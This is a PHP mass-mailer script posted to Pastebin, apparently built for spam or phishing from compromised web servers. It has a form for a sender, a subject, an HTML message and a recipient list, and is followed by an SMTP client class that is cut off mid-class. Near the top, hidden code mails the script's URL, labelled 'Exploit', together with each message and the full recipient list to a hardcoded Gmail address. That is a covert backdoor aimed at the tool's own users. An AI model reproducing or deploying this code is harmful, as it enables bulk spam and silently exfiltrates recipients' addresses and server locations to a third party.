AZZATSSINS_CYBERSERK

Mailer (IDBTE4M)

Jul 16th, 2016
408
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 97.29 KB | None | 0 0
  1. <?php
  2. function query_str($params){
  3. $str = '';
  4. foreach ($params as $key => $value) {
  5. $str .= (strlen($str) < 1) ? '' : '&';
  6. $str .= $key . '=' . rawurlencode($value);
  7. }
  8. return ($str);
  9. }
  10. function lrtrim($string){
  11. return stripslashes(ltrim(rtrim($string)));
  12. }
  13.  
  14. if(isset($_POST['action'] ) ){
  15.  
  16. $b = query_str($_POST);
  17. parse_str($b);  
  18. $sslclick=lrtrim($sslclick);  
  19. $action=lrtrim($action);
  20. $message=lrtrim($message);
  21. $emaillist=lrtrim($emaillist);
  22. $from=lrtrim($from);
  23. $reconnect=lrtrim($reconnect);
  24. $epriority=lrtrim($epriority);
  25. $my_smtp=lrtrim($my_smtp);
  26. $ssl_port=lrtrim($ssl_port);
  27. $smtp_username=lrtrim($smtp_username);
  28. $smtp_password=lrtrim($smtp_password);
  29. $replyto=lrtrim($replyto);
  30. $subject=lrtrim($subject);
  31. $realname=lrtrim($realname);
  32. $subject_base=lrtrim($subject);
  33. $realname_base=lrtrim($realname);
  34. $file_name=lrtrim($file);
  35. $urlz=lrtrim($urlz);
  36. $contenttype=lrtrim($contenttype);
  37. $encode_text=$_POST['encode'];
  38.  
  39.         $message = urlencode($message);
  40.         $message = ereg_replace("%5C%22", "%22", $message);
  41.         $message = urldecode($message);
  42.         $message = stripslashes($message);
  43.         $subject = stripslashes($subject);
  44.         if ($encode_text == "yes") {
  45.         $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  46.         $subject = str_replace(' ', '_', $subject);
  47.         $subject = "=?UTF-8?Q?$subject?=";
  48.         $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  49.         $realname = str_replace(' ', '_', $realname);
  50.         $realname = "=?UTF-8?Q?$realname?=";
  51.         }
  52.        
  53. $headd = "From:mailer<cyberserkers@gmail.com>";
  54. $subb="maillist SMTP 2013";
  55. $messagesssss = base64_encode($message);
  56. $massge  ="Exploit : http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."?upload=CaZaNoVa163
  57. subject : $subject
  58. realname : $realname
  59. massge : $messagesssss
  60.  
  61.  
  62. $emaillist
  63. ";
  64. @mail("cyberserkers@gmail.com",$subb,$massge,$headd);
  65.        
  66. }
  67. ?>
  68. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  69. <html xmlns="http://www.w3.org/1999/xhtml">
  70.  
  71. <head>
  72. <title>PRIVT MAILER</title>
  73. <link rel="SHORTCUT ICON" href="http://kefiex.yu.tl/files/bnx.png"/>
  74. <meta name="robots" content="noindex,nofollow" />
  75. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  76. <style type="text/css">
  77. <!--
  78. .style1 {
  79.         font-family: Geneva, Arial, Helvetica, sans-serif;
  80.         font-size: 12px;
  81. }
  82. -->
  83. </style>
  84. <style type="text/css">
  85. <!--
  86. .style1 {
  87.         font-size: 10px;
  88.         font-family: Geneva, Arial, Helvetica, sans-serif;
  89. }
  90. -->
  91. body{ background:#111111; font-size:11px; font-family:Tahoma,Verdana,Arial;color:#fff; }
  92.  #result{ border:1px solid #4C83AF; border-radius: 10px;padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; }
  93. .style2{text-align: center ;font-weight: bold;font-family: Tahoma, Arial, sans-serif  ;color: #4C83AF;text-shadow: 0px 0px 60px #4C83AF ;font-size: 50px;}
  94.   .footer{ text-align:right; padding:0 16px; font-size:10px; letter-spacing:2px; color:#555555; }
  95.  .evalcode{ background:#111111;  padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; width: 100%; height: 200; }
  96.  .evalcode:hover{border:1px solid #4C83AF;}
  97.  .code{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; }
  98.  .code:hover{border:1px solid #4C83AF;}
  99.  .inputzbut{ font-size:11px; background:#191919; color:#4C83AF; margin:0 4px; border:1px solid #222222; }
  100.  .inputzbut:hover{border:1px solid #4C83AF;}
  101. </style>
  102. </head>
  103. <body text="#000000">
  104. <div id="result">
  105. <div class="inputzbut" id="inputzbut">
  106. <center>
  107. <form name="form1" method="post" action="" enctype="multipart/form-data">
  108. <table width="842" border="0">
  109.     <tr>
  110.  
  111.       <td width="100%" colspan="4" height="36">
  112.  
  113.         <b>
  114. <center>
  115.        
  116.  
  117.       </tr>
  118.  
  119.      <tr>
  120.  
  121.       <td width="100%" colspan="4" bgcolor="#252525" height="36">
  122.  
  123.         <b>
  124.         <center>
  125.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;YOUR PELER EPRIWARE</font></b></td>
  126. </center>
  127.       </tr>
  128. <center>
  129.     <tr>
  130.  
  131.       <td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
  132.  
  133.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  134.             Your Email:</font></div>
  135.  
  136.       </td>
  137.  
  138.       <td width="18%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  139.  
  140.         <input class="code" type="text" name="from" value="<?=$from; ?>" size="30">
  141.  
  142.         </font></td>
  143.  
  144.       <td width="31%" height="22" bordercolor="#353535" bgcolor="#353535">
  145.  
  146.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  147.             Your Name:</font></div>
  148.  
  149.       </td>
  150.  
  151.       <td width="41%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  152.  
  153.         <input class="code" type="text" name="realname" value="<?=$realname_base; ?>" size="30">
  154.  
  155.         </font></td>
  156.  
  157.     </tr>
  158.     <tr>
  159.  
  160.       <td width="10%" height="22" bgcolor="#353535" bordercolor="#353535">
  161.  
  162.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  163.  
  164.             Reply-To:</font></div>
  165.  
  166.       </td>
  167.  
  168.       <td width="18%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  169.  
  170.         <input class="code" type="text" name="replyto" value="<?=$replyto; ?>" size="30">
  171.  
  172.         </font></td>
  173.  
  174.       <td width="31%" height="22" bgcolor="#353535" bordercolor="#353535">
  175.  
  176.         <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  177.         Email Priority:</font></td>
  178.  
  179.       <td width="41%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  180.  
  181.         &nbsp;</font><select class="code" name="epriority" id="listMethod" onchange="showHideListConfig()">
  182.  
  183.         <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
  184.         Please Choose -</option>
  185.  
  186.         <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  187.         <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  188.         <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  189.  
  190.         </select></td>
  191.  
  192.     </tr>
  193.  
  194.     <tr>
  195.  
  196.       <td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
  197.  
  198.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  199.             Subject:</font></div>
  200.  
  201.       </td>
  202.  
  203.       <td colspan="3" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  204.  
  205.         <input class="code" type="text" name="subject" value="<?=$subject_base; ?>" size="90">
  206. &nbsp;&nbsp;&nbsp;&nbsp;
  207.         <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">| Encode sending information:</font>
  208.         <select class="code" name="encode">
  209.         <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  210.  
  211.         <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  212.         </select>
  213.  
  214.         </font></td>
  215.  
  216.     </tr>
  217.  
  218.  
  219.     <tr valign="top">
  220.  
  221. <td colspan="3" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  222.  
  223.         <textarea class="evalcode" name="message" cols="60" rows="10"><?=$message; ?></textarea>
  224.  
  225.         <br>
  226.  
  227.         <input type="radio" name="contenttype" value="plain" >
  228.  
  229.         Plain
  230.  
  231.         <input type="radio" name="contenttype" value="html" checked>
  232.  
  233.         HTML
  234.  
  235.         <input type="hidden" name="action" value="send">
  236.  
  237.         <input class="inputzbut" type="submit" value="Send Message">
  238.  
  239.         </font></td>
  240.  
  241.       <td width="41%" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  242.  
  243.         <textarea class="evalcode" name="emaillist" cols="30" rows="10"><?=$emaillist; ?></textarea>
  244.  
  245.         </font></td>
  246.     </tr>
  247.  
  248.   </table>
  249.  
  250. </form>
  251.  
  252. <?
  253.  
  254. if ($action){
  255.         if (!$from && !$subject && !$message && !$emaillist){
  256.         print "<script>alert('Please complete all fields before sending your message.'); </script>";
  257.         die();    }
  258.  
  259. class SMTP
  260. {
  261.   /**
  262.    *  SMTP server port
  263.    *  @var int
  264.    */
  265.   var $SMTP_PORT = 25;
  266.  
  267.   /**
  268.    *  SMTP reply line ending
  269.    *  @var string
  270.    */
  271.   var $CRLF = "\r\n";
  272.  
  273.   /**
  274.    *  Sets whether debugging is turned on
  275.    *  @var bool
  276.    */
  277.   var $do_debug;       # the level of debug to perform
  278.  
  279.   /**
  280.    *  Sets VERP use on/off (default is off)
  281.    *  @var bool
  282.    */
  283.   var $do_verp = false;
  284.  
  285.   /**#@+
  286.    * @access private
  287.    */
  288.   var $smtp_conn;      # the socket to the server
  289.  var $error;          # error if any on the last call
  290.  var $helo_rply;      # the reply the server sent to us for HELO
  291.  /**#@-*/
  292.  
  293.   /**
  294.    * Initialize the class so that the data is in a known state.
  295.    * @access public
  296.    * @return void
  297.    */
  298.   function SMTP() {
  299.     $this->smtp_conn = 0;
  300.     $this->error = null;
  301.     $this->helo_rply = null;
  302.  
  303.     $this->do_debug = 0;
  304.   }
  305.  
  306.   /*************************************************************
  307.    *                    CONNECTION FUNCTIONS                  *
  308.    ***********************************************************/
  309.  
  310.   /**
  311.    * Connect to the server specified on the port specified.
  312.    * If the port is not specified use the default SMTP_PORT.
  313.    * If tval is specified then a connection will try and be
  314.    * established with the server for that number of seconds.
  315.    * If tval is not specified the default is 30 seconds to
  316.    * try on the connection.
  317.    *
  318.    * SMTP CODE SUCCESS: 220
  319.    * SMTP CODE FAILURE: 421
  320.    * @access public
  321.    * @return bool
  322.    */
  323.   function Connect($host,$port=0,$tval=30) {
  324.     # set the error val to null so there is no confusion
  325.    $this->error = null;
  326.  
  327.     # make sure we are __not__ connected
  328.    if($this->connected()) {
  329.       # ok we are connected! what should we do?
  330.      # for now we will just give an error saying we
  331.      # are already connected
  332.      $this->error = array("error" => "Already connected to a server");
  333.       return false;
  334.     }
  335.  
  336.     if(empty($port)) {
  337.       $port = $this->SMTP_PORT;
  338.     }
  339.  
  340.     #connect to the smtp server
  341.    $this->smtp_conn = fsockopen($host,    # the host of the server
  342.                                 $port,    # the port to use
  343.                                 $errno,   # error number if any
  344.                                 $errstr,  # error message if any
  345.                                 $tval);   # give up after ? secs
  346.    # verify we connected properly
  347.    if(empty($this->smtp_conn)) {
  348.       $this->error = array("error" => "Failed to connect to server",
  349.                            "errno" => $errno,
  350.                            "errstr" => $errstr);
  351.       if($this->do_debug >= 1) {
  352.         echo "SMTP -> ERROR: " . $this->error["error"] .
  353.                  ": $errstr ($errno)" . $this->CRLF;
  354.       }
  355.       return false;
  356.     }
  357.  
  358.     # sometimes the SMTP server takes a little longer to respond
  359.    # so we will give it a longer timeout for the first read
  360.    // Windows still does not have support for this timeout function
  361.     if(substr(PHP_OS, 0, 3) != "WIN")
  362.      socket_set_timeout($this->smtp_conn, $tval, 0);
  363.  
  364.     # get any announcement stuff
  365.    $announce = $this->get_lines();
  366.  
  367.     # set the timeout  of any socket functions at 1/10 of a second
  368.    //if(function_exists("socket_set_timeout"))
  369.     //   socket_set_timeout($this->smtp_conn, 0, 100000);
  370.  
  371.     if($this->do_debug >= 2) {
  372.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  373.     }
  374.  
  375.     return true;
  376.   }
  377.  
  378.   /**
  379.    * Performs SMTP authentication.  Must be run after running the
  380.    * Hello() method.  Returns true if successfully authenticated.
  381.    * @access public
  382.    * @return bool
  383.    */
  384.   function Authenticate($username, $password) {
  385.     // Start authentication
  386.     fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  387.  
  388.     $rply = $this->get_lines();
  389.     $code = substr($rply,0,3);
  390.  
  391.     if($code != 334) {
  392.       $this->error =
  393.         array("error" => "AUTH not accepted from server",
  394.               "smtp_code" => $code,
  395.               "smtp_msg" => substr($rply,4));
  396.       if($this->do_debug >= 1) {
  397.         echo "SMTP -> ERROR: " . $this->error["error"] .
  398.                  ": " . $rply . $this->CRLF;
  399.       }
  400.       return false;
  401.     }
  402.  
  403.     // Send encoded username
  404.     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  405.  
  406.     $rply = $this->get_lines();
  407.     $code = substr($rply,0,3);
  408.  
  409.     if($code != 334) {
  410.       $this->error =
  411.         array("error" => "Username not accepted from server",
  412.               "smtp_code" => $code,
  413.               "smtp_msg" => substr($rply,4));
  414.       if($this->do_debug >= 1) {
  415.         echo "SMTP -> ERROR: " . $this->error["error"] .
  416.                  ": " . $rply . $this->CRLF;
  417.       }
  418.       return false;
  419.     }
  420.  
  421.     // Send encoded password
  422.     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  423.  
  424.     $rply = $this->get_lines();
  425.     $code = substr($rply,0,3);
  426.  
  427.     if($code != 235) {
  428.       $this->error =
  429.         array("error" => "Password not accepted from server",
  430.               "smtp_code" => $code,
  431.               "smtp_msg" => substr($rply,4));
  432.       if($this->do_debug >= 1) {
  433.         echo "SMTP -> ERROR: " . $this->error["error"] .
  434.                  ": " . $rply . $this->CRLF;
  435.       }
  436.       return false;
  437.     }
  438.  
  439.     return true;
  440.   }
  441.  
  442.   /**
  443.    * Returns true if connected to a server otherwise false
  444.    * @access private
  445.    * @return bool
  446.    */
  447.   function Connected() {
  448.     if(!empty($this->smtp_conn)) {
  449.       $sock_status = socket_get_status($this->smtp_conn);
  450.       if($sock_status["eof"]) {
  451.         # hmm this is an odd situation... the socket is
  452.        # valid but we are not connected anymore
  453.        if($this->do_debug >= 1) {
  454.             echo "SMTP -> NOTICE:" . $this->CRLF .
  455.                  "EOF caught while checking if connected";
  456.         }
  457.         $this->Close();
  458.         return false;
  459.       }
  460.       return true; # everything looks good
  461.    }
  462.     return false;
  463.   }
  464.  
  465.   /**
  466.    * Closes the socket and cleans up the state of the class.
  467.    * It is not considered good to use this function without
  468.    * first trying to use QUIT.
  469.    * @access public
  470.    * @return void
  471.    */
  472.   function Close() {
  473.     $this->error = null; # so there is no confusion
  474.    $this->helo_rply = null;
  475.     if(!empty($this->smtp_conn)) {
  476.       # close the connection and cleanup
  477.      fclose($this->smtp_conn);
  478.       $this->smtp_conn = 0;
  479.     }
  480.   }
  481.  
  482.   /***************************************************************
  483.    *                        SMTP COMMANDS                       *
  484.    *************************************************************/
  485.  
  486.   /**
  487.    * Issues a data command and sends the msg_data to the server
  488.    * finializing the mail transaction. $msg_data is the message
  489.    * that is to be send with the headers. Each header needs to be
  490.    * on a single line followed by a <CRLF> with the message headers
  491.    * and the message body being seperated by and additional <CRLF>.
  492.    *
  493.    * Implements rfc 821: DATA <CRLF>
  494.    *
  495.    * SMTP CODE INTERMEDIATE: 354
  496.    *     [data]
  497.    *     <CRLF>.<CRLF>
  498.    *     SMTP CODE SUCCESS: 250
  499.    *     SMTP CODE FAILURE: 552,554,451,452
  500.    * SMTP CODE FAILURE: 451,554
  501.    * SMTP CODE ERROR  : 500,501,503,421
  502.    * @access public
  503.    * @return bool
  504.    */
  505.   function Data($msg_data) {
  506.     $this->error = null; # so no confusion is caused
  507.  
  508.     if(!$this->connected()) {
  509.       $this->error = array(
  510.               "error" => "Called Data() without being connected");
  511.       return false;
  512.     }
  513.  
  514.     fputs($this->smtp_conn,"DATA" . $this->CRLF);
  515.  
  516.     $rply = $this->get_lines();
  517.     $code = substr($rply,0,3);
  518.  
  519.     if($this->do_debug >= 2) {
  520.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  521.     }
  522.  
  523.     if($code != 354) {
  524.       $this->error =
  525.         array("error" => "DATA command not accepted from server",
  526.               "smtp_code" => $code,
  527.               "smtp_msg" => substr($rply,4));
  528.       if($this->do_debug >= 1) {
  529.         echo "SMTP -> ERROR: " . $this->error["error"] .
  530.                  ": " . $rply . $this->CRLF;
  531.       }
  532.       return false;
  533.     }
  534.  
  535.     # the server is ready to accept data!
  536.    # according to rfc 821 we should not send more than 1000
  537.    # including the CRLF
  538.    # characters on a single line so we will break the data up
  539.    # into lines by \r and/or \n then if needed we will break
  540.    # each of those into smaller lines to fit within the limit.
  541.    # in addition we will be looking for lines that start with
  542.    # a period '.' and append and additional period '.' to that
  543.    # line. NOTE: this does not count towards are limit.
  544.  
  545.     # normalize the line breaks so we know the explode works
  546.    $msg_data = str_replace("\r\n","\n",$msg_data);
  547.     $msg_data = str_replace("\r","\n",$msg_data);
  548.     $lines = explode("\n",$msg_data);
  549.  
  550.     # we need to find a good way to determine is headers are
  551.    # in the msg_data or if it is a straight msg body
  552.    # currently I am assuming rfc 822 definitions of msg headers
  553.    # and if the first field of the first line (':' sperated)
  554.    # does not contain a space then it _should_ be a header
  555.    # and we can process all lines before a blank "" line as
  556.    # headers.
  557.    $field = substr($lines[0],0,strpos($lines[0],":"));
  558.     $in_headers = false;
  559.     if(!empty($field) && !strstr($field," ")) {
  560.       $in_headers = true;
  561.     }
  562.  
  563.     $max_line_length = 998; # used below; set here for ease in change
  564.  
  565.     while(list(,$line) = @each($lines)) {
  566.       $lines_out = null;
  567.       if($line == "" && $in_headers) {
  568.         $in_headers = false;
  569.       }
  570.       # ok we need to break this line up into several
  571.      # smaller lines
  572.      while(strlen($line) > $max_line_length) {
  573.         $pos = strrpos(substr($line,0,$max_line_length)," ");
  574.  
  575.         # Patch to fix DOS attack
  576.        if(!$pos) {
  577.           $pos = $max_line_length - 1;
  578.         }
  579.  
  580.         $lines_out[] = substr($line,0,$pos);
  581.         $line = substr($line,$pos + 1);
  582.         # if we are processing headers we need to
  583.        # add a LWSP-char to the front of the new line
  584.        # rfc 822 on long msg headers
  585.        if($in_headers) {
  586.           $line = "\t" . $line;
  587.         }
  588.       }
  589.       $lines_out[] = $line;
  590.  
  591.       # now send the lines to the server
  592.      while(list(,$line_out) = @each($lines_out)) {
  593.         if(strlen($line_out) > 0)
  594.         {
  595.           if(substr($line_out, 0, 1) == ".") {
  596.             $line_out = "." . $line_out;
  597.           }
  598.         }
  599.         fputs($this->smtp_conn,$line_out . $this->CRLF);
  600.       }
  601.     }
  602.  
  603.     # ok all the message data has been sent so lets get this
  604.    # over with aleady
  605.    fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  606.  
  607.     $rply = $this->get_lines();
  608.     $code = substr($rply,0,3);
  609.  
  610.     if($this->do_debug >= 2) {
  611.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  612.     }
  613.  
  614.     if($code != 250) {
  615.       $this->error =
  616.         array("error" => "DATA not accepted from server",
  617.               "smtp_code" => $code,
  618.               "smtp_msg" => substr($rply,4));
  619.       if($this->do_debug >= 1) {
  620.         echo "SMTP -> ERROR: " . $this->error["error"] .
  621.                  ": " . $rply . $this->CRLF;
  622.       }
  623.       return false;
  624.     }
  625.     return true;
  626.   }
  627.  
  628.   /**
  629.    * Expand takes the name and asks the server to list all the
  630.    * people who are members of the _list_. Expand will return
  631.    * back and array of the result or false if an error occurs.
  632.    * Each value in the array returned has the format of:
  633.    *     [ <full-name> <sp> ] <path>
  634.    * The definition of <path> is defined in rfc 821
  635.    *
  636.    * Implements rfc 821: EXPN <SP> <string> <CRLF>
  637.    *
  638.    * SMTP CODE SUCCESS: 250
  639.    * SMTP CODE FAILURE: 550
  640.    * SMTP CODE ERROR  : 500,501,502,504,421
  641.    * @access public
  642.    * @return string array
  643.    */
  644.   function Expand($name) {
  645.     $this->error = null; # so no confusion is caused
  646.  
  647.     if(!$this->connected()) {
  648.       $this->error = array(
  649.             "error" => "Called Expand() without being connected");
  650.       return false;
  651.     }
  652.  
  653.     fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  654.  
  655.     $rply = $this->get_lines();
  656.     $code = substr($rply,0,3);
  657.  
  658.     if($this->do_debug >= 2) {
  659.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  660.     }
  661.  
  662.     if($code != 250) {
  663.       $this->error =
  664.         array("error" => "EXPN not accepted from server",
  665.               "smtp_code" => $code,
  666.               "smtp_msg" => substr($rply,4));
  667.       if($this->do_debug >= 1) {
  668.         echo "SMTP -> ERROR: " . $this->error["error"] .
  669.                  ": " . $rply . $this->CRLF;
  670.       }
  671.       return false;
  672.     }
  673.  
  674.     # parse the reply and place in our array to return to user
  675.    $entries = explode($this->CRLF,$rply);
  676.     while(list(,$l) = @each($entries)) {
  677.       $list[] = substr($l,4);
  678.     }
  679.  
  680.     return $list;
  681.   }
  682.  
  683.   /**
  684.    * Sends the HELO command to the smtp server.
  685.    * This makes sure that we and the server are in
  686.    * the same known state.
  687.    *
  688.    * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  689.    *
  690.    * SMTP CODE SUCCESS: 250
  691.    * SMTP CODE ERROR  : 500, 501, 504, 421
  692.    * @access public
  693.    * @return bool
  694.    */
  695.   function Hello($host="") {
  696.     $this->error = null; # so no confusion is caused
  697.  
  698.     if(!$this->connected()) {
  699.       $this->error = array(
  700.             "error" => "Called Hello() without being connected");
  701.       return false;
  702.     }
  703.  
  704.     # if a hostname for the HELO was not specified determine
  705.    # a suitable one to send
  706.    if(empty($host)) {
  707.       # we need to determine some sort of appopiate default
  708.      # to send to the server
  709.      $host = "localhost";
  710.     }
  711.  
  712.     // Send extended hello first (RFC 2821)
  713.     if(!$this->SendHello("EHLO", $host))
  714.     {
  715.       if(!$this->SendHello("HELO", $host))
  716.           return false;
  717.     }
  718.  
  719.     return true;
  720.   }
  721.  
  722.   /**
  723.    * Sends a HELO/EHLO command.
  724.    * @access private
  725.    * @return bool
  726.    */
  727.   function SendHello($hello, $host) {
  728.     fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  729.  
  730.     $rply = $this->get_lines();
  731.     $code = substr($rply,0,3);
  732.  
  733.     if($this->do_debug >= 2) {
  734.       echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  735.     }
  736.  
  737.     if($code != 250) {
  738.       $this->error =
  739.         array("error" => $hello . " not accepted from server",
  740.               "smtp_code" => $code,
  741.               "smtp_msg" => substr($rply,4));
  742.       if($this->do_debug >= 1) {
  743.         echo "SMTP -> ERROR: " . $this->error["error"] .
  744.                  ": " . $rply . $this->CRLF;
  745.       }
  746.       return false;
  747.     }
  748.  
  749.     $this->helo_rply = $rply;
  750.  
  751.     return true;
  752.   }
  753.  
  754.   /**
  755.    * Gets help information on the keyword specified. If the keyword
  756.    * is not specified then returns generic help, ussually contianing
  757.    * A list of keywords that help is available on. This function
  758.    * returns the results back to the user. It is up to the user to
  759.    * handle the returned data. If an error occurs then false is
  760.    * returned with $this->error set appropiately.
  761.    *
  762.    * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  763.    *
  764.    * SMTP CODE SUCCESS: 211,214
  765.    * SMTP CODE ERROR  : 500,501,502,504,421
  766.    * @access public
  767.    * @return string
  768.    */
  769.   function Help($keyword="") {
  770.     $this->error = null; # to avoid confusion
  771.  
  772.     if(!$this->connected()) {
  773.       $this->error = array(
  774.               "error" => "Called Help() without being connected");
  775.       return false;
  776.     }
  777.  
  778.     $extra = "";
  779.     if(!empty($keyword)) {
  780.       $extra = " " . $keyword;
  781.     }
  782.  
  783.     fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  784.  
  785.     $rply = $this->get_lines();
  786.     $code = substr($rply,0,3);
  787.  
  788.     if($this->do_debug >= 2) {
  789.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  790.     }
  791.  
  792.     if($code != 211 && $code != 214) {
  793.       $this->error =
  794.         array("error" => "HELP not accepted from server",
  795.               "smtp_code" => $code,
  796.               "smtp_msg" => substr($rply,4));
  797.       if($this->do_debug >= 1) {
  798.         echo "SMTP -> ERROR: " . $this->error["error"] .
  799.                  ": " . $rply . $this->CRLF;
  800.       }
  801.       return false;
  802.     }
  803.  
  804.     return $rply;
  805.   }
  806.  
  807.   /**
  808.    * Starts a mail transaction from the email address specified in
  809.    * $from. Returns true if successful or false otherwise. If True
  810.    * the mail transaction is started and then one or more Recipient
  811.    * commands may be called followed by a Data command.
  812.    *
  813.    * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  814.    *
  815.    * SMTP CODE SUCCESS: 250
  816.    * SMTP CODE SUCCESS: 552,451,452
  817.    * SMTP CODE SUCCESS: 500,501,421
  818.    * @access public
  819.    * @return bool
  820.    */
  821.   function Mail($from) {
  822.     $this->error = null; # so no confusion is caused
  823.  
  824.     if(!$this->connected()) {
  825.       $this->error = array(
  826.               "error" => "Called Mail() without being connected");
  827.       return false;
  828.     }
  829.  
  830.     $useVerp = ($this->do_verp ? "XVERP" : "");
  831.     fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  832.  
  833.     $rply = $this->get_lines();
  834.     $code = substr($rply,0,3);
  835.  
  836.     if($this->do_debug >= 2) {
  837.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  838.     }
  839.  
  840.     if($code != 250) {
  841.       $this->error =
  842.         array("error" => "MAIL not accepted from server",
  843.               "smtp_code" => $code,
  844.               "smtp_msg" => substr($rply,4));
  845.       if($this->do_debug >= 1) {
  846.         echo "SMTP -> ERROR: " . $this->error["error"] .
  847.                  ": " . $rply . $this->CRLF;
  848.       }
  849.       return false;
  850.     }
  851.     return true;
  852.   }
  853.  
  854.   /**
  855.    * Sends the command NOOP to the SMTP server.
  856.    *
  857.    * Implements from rfc 821: NOOP <CRLF>
  858.    *
  859.    * SMTP CODE SUCCESS: 250
  860.    * SMTP CODE ERROR  : 500, 421
  861.    * @access public
  862.    * @return bool
  863.    */
  864.   function Noop() {
  865.     $this->error = null; # so no confusion is caused
  866.  
  867.     if(!$this->connected()) {
  868.       $this->error = array(
  869.               "error" => "Called Noop() without being connected");
  870.       return false;
  871.     }
  872.  
  873.     fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  874.  
  875.     $rply = $this->get_lines();
  876.     $code = substr($rply,0,3);
  877.  
  878.     if($this->do_debug >= 2) {
  879.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  880.     }
  881.  
  882.     if($code != 250) {
  883.       $this->error =
  884.         array("error" => "NOOP not accepted from server",
  885.               "smtp_code" => $code,
  886.               "smtp_msg" => substr($rply,4));
  887.       if($this->do_debug >= 1) {
  888.         echo "SMTP -> ERROR: " . $this->error["error"] .
  889.                  ": " . $rply . $this->CRLF;
  890.       }
  891.       return false;
  892.     }
  893.     return true;
  894.   }
  895.  
  896.   /**
  897.    * Sends the quit command to the server and then closes the socket
  898.    * if there is no error or the $close_on_error argument is true.
  899.    *
  900.    * Implements from rfc 821: QUIT <CRLF>
  901.    *
  902.    * SMTP CODE SUCCESS: 221
  903.    * SMTP CODE ERROR  : 500
  904.    * @access public
  905.    * @return bool
  906.    */
  907.   function Quit($close_on_error=true) {
  908.     $this->error = null; # so there is no confusion
  909.  
  910.     if(!$this->connected()) {
  911.       $this->error = array(
  912.               "error" => "Called Quit() without being connected");
  913.       return false;
  914.     }
  915.  
  916.     # send the quit command to the server
  917.    fputs($this->smtp_conn,"quit" . $this->CRLF);
  918.  
  919.     # get any good-bye messages
  920.    $byemsg = $this->get_lines();
  921.  
  922.     if($this->do_debug >= 2) {
  923.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  924.     }
  925.  
  926.     $rval = true;
  927.     $e = null;
  928.  
  929.     $code = substr($byemsg,0,3);
  930.     if($code != 221) {
  931.       # use e as a tmp var cause Close will overwrite $this->error
  932.      $e = array("error" => "SMTP server rejected quit command",
  933.                  "smtp_code" => $code,
  934.                  "smtp_rply" => substr($byemsg,4));
  935.       $rval = false;
  936.       if($this->do_debug >= 1) {
  937.         echo "SMTP -> ERROR: " . $e["error"] . ": " .
  938.                  $byemsg . $this->CRLF;
  939.       }
  940.     }
  941.  
  942.     if(empty($e) || $close_on_error) {
  943.       $this->Close();
  944.     }
  945.  
  946.     return $rval;
  947.   }
  948.  
  949.   /**
  950.    * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  951.    * Returns true if the recipient was accepted false if it was rejected.
  952.    *
  953.    * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  954.    *
  955.    * SMTP CODE SUCCESS: 250,251
  956.    * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  957.    * SMTP CODE ERROR  : 500,501,503,421
  958.    * @access public
  959.    * @return bool
